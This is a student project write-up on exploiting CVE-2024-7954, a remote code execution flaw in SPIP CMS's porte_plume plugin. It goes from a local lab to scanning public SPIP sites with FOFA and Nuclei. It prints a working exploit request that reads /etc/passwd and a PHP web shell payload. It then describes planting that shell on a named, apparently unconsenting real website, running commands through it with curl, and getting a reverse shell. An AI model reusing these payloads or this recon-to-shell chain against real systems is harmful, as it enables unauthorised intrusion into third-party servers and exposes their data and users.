
Exploitation of a Remote Code Execution vulnerability- (CVE-2024-7954)
Software Vulnerability Testing Project Submitted by: Shivansh Kuntal
This project demonstrates the exploitation of CVE-2024-7954, a critical Remote Code Execution (RCE) vulnerability affecting SPIP CMS through its porte_plume plugin.
The vulnerability allows unauthenticated attackers to execute arbitrary PHP code on the target server via crafted HTTP POST requests.
Testing was conducted in a controlled local environment and later extended to real-world reconnaissance using FOFA and Nuclei.
A vulnerable version of SPIP CMS, confirmed to be affected by CVE-2024-7954, was deployed locally on an Apache server using a GitHub repository hosting known-vulnerable releases.
Tools Used
The SPIP homepage running on localhost validated successful installation and served as the target for exploitation.
The porte_plume plugin (before versions 4.30-alpha2, 4.2.13, 4.1.16) is vulnerable due to insufficient sanitization of user-provided input. Attackers can inject PHP code into specific form fields which is later rendered and executed by the server.
Impact: Unauthenticated Remote Code Execution Severity: Critical Attack Vector: Network / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
A FOFA query was used to enumerate public SPIP installations:
app="SPIP"
FOFA returned multiple metadata points:
targets.txt for batch scanning.A suitable real-world host identified:
http://www.comite-tricolore.org/
Since manual exploitation is slow, Nuclei was used to automate detection of CVE-2024-7954 across a large set of targets.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt loads FOFA results-t loads custom PoC templateNote: Initial template returned no matches.
nuclei -l targets.txt -t cves/
This scan identified one responsive target:
http://www.comite-tricolore.org/
Visit:
http://www.comite-tricolore.org/spip.php?page=contact
Confirmed:
Using Burp Suite or curl, modify the message parameter:
Payload
<?php system($_GET['cmd']); ?>
Visit:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
Or using curl:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
Output confirmed remote command execution.
A crafted payload enables a reverse shell callback, allowing:
whoamilsThis project demonstrates the full exploitation chain for CVE-2024-7954, from reconnaissance to obtaining an interactive shell.
This vulnerability highlights how a seemingly harmless text formatting plugin can create a complete system compromise when improperly secured.